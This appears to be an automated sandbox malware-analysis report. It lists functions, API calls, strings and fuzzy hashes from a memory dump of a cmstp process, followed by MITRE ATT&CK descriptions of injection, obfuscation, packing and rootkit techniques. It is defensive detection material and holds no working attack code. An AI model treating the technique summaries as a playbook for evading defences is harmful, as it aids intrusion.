Instruction ID: a0f5be6b28e85195b8e95d3d624f143d5c3c81755f82805808aaedcedd336ae4
Opcode Fuzzy Hash: f9df061cff09e6457bff6635363db199dab5fd49739ef507b24befd364c60947
Instruction Fuzzy Hash: 74F1F4B2D0024AEFDF11DF98C984DEEBBF9FB08704F14546AE605A7210E7359A45DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01F5822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 01F58240
_wcsnlen.LIBCMT ref: 01F5825C

Strings

TimeZoneKeyName, xrefs: 01F5836A, 01F5839B
StandardName, xrefs: 01F582A8
DaylightBias, xrefs: 01F58324
DaylightName, xrefs: 01F58309
Bias, xrefs: 01F58282
StandardStart, xrefs: 01F582E5
StandardBias, xrefs: 01F582C7
DynamicDaylightTimeDisabled, xrefs: 01F583C1
DaylightStart, xrefs: 01F58341

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: c8f8678df08720f1f65c7b324fe25f1ecc974d95e1c074392d2c820684e997f4
Instruction ID: 4e886d1908697c34acb00539accf92608b42664ef8a8d6416b82b0c6d6af3297
Opcode Fuzzy Hash: c8f8678df08720f1f65c7b324fe25f1ecc974d95e1c074392d2c820684e997f4
Instruction Fuzzy Hash: 5E41957624120ABAE7419A92CD81FEFBB6CAF047D4F100116BF04D6161D7B3DB509BA4

Uniqueness

Uniqueness Score: -1.00%

Function 01F013CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01F0146B
___swprintf_l.LIBCMT ref: 01F01490
___swprintf_l.LIBCMT ref: 01F2E970

Strings

::%hs%u.%u.%u.%u, xrefs: 01F2E967
ffff:, xrefs: 01F2E94B
:%u.%u.%u.%u, xrefs: 01F2E9F4
::ffff:0:%u.%u.%u.%u, xrefs: 01F2E9B0

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 1bd56f2a8915a6c0f3d38d24c1f859b6df06a8e5771b2520189ff8c78651fd65
Instruction ID: 61b7411cf61414cc3c42ddff9974cb23f3aa1c35eb7363f0c02afab93d02142d
Opcode Fuzzy Hash: 1bd56f2a8915a6c0f3d38d24c1f859b6df06a8e5771b2520189ff8c78651fd65
Instruction Fuzzy Hash: AF6135B5E04656EACB36CF5DC8808BFBBB5EF95300754C12EE59647581D332E640DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01F63B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01F63C2C
___swprintf_l.LIBCMT ref: 01F63C68
___swprintf_l.LIBCMT ref: 01F63D09
___swprintf_l.LIBCMT ref: 01F63D31
___swprintf_l.LIBCMT ref: 01F63D56
___swprintf_l.LIBCMT ref: 01F63D8D

Strings

ffff:, xrefs: 01F63C06, 01F63C22
::ffff:0:%u.%u.%u.%u, xrefs: 01F63C5F
::%hs%u.%u.%u.%u, xrefs: 01F63C23
:%u.%u.%u.%u, xrefs: 01F63D84

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: d59582f19b360dc28271a67351cc61e4cbe4d03cec5b6d7a8251e671ccc347fa
Instruction ID: 9fe3956f10f1ee3b0781d3b98773ebc11abbe51a0541033b791e7510553b655d
Opcode Fuzzy Hash: d59582f19b360dc28271a67351cc61e4cbe4d03cec5b6d7a8251e671ccc347fa
Instruction Fuzzy Hash: E761D372D00A49EBCB25DF5EC9408BE7BF9FF54210B14C52AF8AD87145E236EA41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01EF7EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 01F13F12

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 01F1E345
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01F13EC4
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01F1E2FB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01F13F75
Execute=1, xrefs: 01F13F5E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 01F13F4A
ExecuteOptions, xrefs: 01F13F04

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: f688e9acb393f81aac045ee9a080af5e188bfab7a16106c505028d149dcd6945
Instruction ID: 8cf29383c0016d5f6cf89aaaeb7ed0af7e7e1a9562aba9427ceedf9b849bbbe6
Opcode Fuzzy Hash: f688e9acb393f81aac045ee9a080af5e188bfab7a16106c505028d149dcd6945
Instruction Fuzzy Hash: CB41D972A4030D7ADB219B94DCC5FDF73BCAF58700F0404ADBB05E6085E7719A868BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01F00B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 01F00BF6
__fassign.LIBCMT ref: 01F00CA2

Strings

:, xrefs: 01F00BA9
:, xrefs: 01F00AC7
., xrefs: 01F00A0C

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 4c98f179a8272ff31137eafa3be1d57833a8c16a37f499a982a1463abc4aae5d
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 32A18071D0070ADADF26CF58C8457BEBBB5AF05384F24846AF942A72C1DE325681EB52

Uniqueness

Uniqueness Score: -1.00%

Function 01F00554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01F22206

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 01F2220E
RTL: Resource at %p, xrefs: 01F2221D, 01F2230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01F222FC
RTL: Re-Waiting, xrefs: 01F2223A, 01F22328

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 776ca66a4ffd9ca4ee43b6e64642fd2901141f32e3affef4b93b9b966d21a4ba
Instruction ID: 1e1038bc1d5cadf5e91f5572137b1553332d9f9746f829c436d81a66c14d043e
Opcode Fuzzy Hash: 776ca66a4ffd9ca4ee43b6e64642fd2901141f32e3affef4b93b9b966d21a4ba
Instruction Fuzzy Hash: B8512B35B00222ABEB15CA1DDC81FA673A9AFD5720F21421DFD55DB2C9DA33EC428790

Uniqueness

Uniqueness Score: -1.00%

Function 01F014C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01F2EA22

Part of subcall function 01F013CB: ___swprintf_l.LIBCMT ref: 01F0146B
Part of subcall function 01F013CB: ___swprintf_l.LIBCMT ref: 01F01490

___swprintf_l.LIBCMT ref: 01F0156D

Strings

]:%u, xrefs: 01F2EA47
%%%u, xrefs: 01F01564

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: d4ce5fec15419ee9109ddea44788489f6df361f841beb52175bcbe6ca0a70ea6
Instruction ID: b8fec63dcaf66e06fb6b1f3d5f0b701fc8d4b2e3cd77cc0235f6c93a22616211
Opcode Fuzzy Hash: d4ce5fec15419ee9109ddea44788489f6df361f841beb52175bcbe6ca0a70ea6
Instruction Fuzzy Hash: AA21F772D0021ADBDB22DF58CC00AFF77ACAB90704F484019ED46E7181DB72DA598BE0

Uniqueness

Uniqueness Score: -1.00%

Function 01F63DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01F63DF3
___swprintf_l.LIBCMT ref: 01F63E1D
___swprintf_l.LIBCMT ref: 01F63E46

Strings

]:%u, xrefs: 01F63E3D
%%%u, xrefs: 01F63E14

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 0e180bf99ae1f1ea62f349228976c716f30f7fd3adae7ef5494b2ceb2292b728
Instruction ID: 2a178118609cbcde2d28f658fa35f2e69218c1b5c31b2af6754994bd7e90bfc5
Opcode Fuzzy Hash: 0e180bf99ae1f1ea62f349228976c716f30f7fd3adae7ef5494b2ceb2292b728
Instruction Fuzzy Hash: 5221C8B2D0022AABDB10AF69CD449EF7BACEF24B54F040525FD0993141E7769A49C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 01EE53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01F222F4

Strings

RTL: Resource at %p, xrefs: 01F2230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01F222FC
RTL: Re-Waiting, xrefs: 01F22328

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 9030b1ca91d7373caab703923876553ddef5f38aff011300c8700d2809773c6b
Instruction ID: 2676c316be32f98c6a33fa45c197857e5991e8ff538bb23489f86f5229c9cf54
Opcode Fuzzy Hash: 9030b1ca91d7373caab703923876553ddef5f38aff011300c8700d2809773c6b
Instruction Fuzzy Hash: A4513A75600712ABEB15DF28CC80FAB73E8EF55324F104219FD05DB285EA72EC428790

Uniqueness

Uniqueness Score: -1.00%

Function 01EEEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 01F2248D
RTL: Re-Waiting, xrefs: 01F224FA
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 01F224BD

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 9ccea7f5bb449148fd527f32cfe7821e1ee5d9b4c3fe9322d0f83ca74a6c0d5a
Instruction ID: be166d89fa138dcffe0919f3c4a71c7ff1e1083183e4923bd268fc9e0e40773d
Opcode Fuzzy Hash: 9ccea7f5bb449148fd527f32cfe7821e1ee5d9b4c3fe9322d0f83ca74a6c0d5a
Instruction Fuzzy Hash: 70411870A00215EBDB24DF68CD88FAE7BF8EF88720F108609F6559B2C1D736E9418761

Uniqueness

Uniqueness Score: -1.00%

Function 01EFFCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 01EFFD94

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: cfdd61a4e5432f48a130749a65dea49f68c977a7f8904643c89f0ed03c1b110c
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 3191A232D00256EADF24CF98C8457EEBBB4FF85714F24906EDA11A7292E7315A41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01F75CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 01F75DE8

Strings

0, xrefs: 01F75DBF
$, xrefs: 01F75D36

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: b79ed6d8a28a8b32456fff1413df9c2559110664ca5c55e3a7439fdc3e957b7e
Instruction ID: 65402b69525bb7ba15db55015201cbe2bab2a0e86a5fe85e93732de368117ea1
Opcode Fuzzy Hash: b79ed6d8a28a8b32456fff1413df9c2559110664ca5c55e3a7439fdc3e957b7e
Instruction Fuzzy Hash: DF91A070D0828ADEDF25CFADC8543EDBFB1AF01310F148A5BD8A1A72A1C7764A42CB51

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

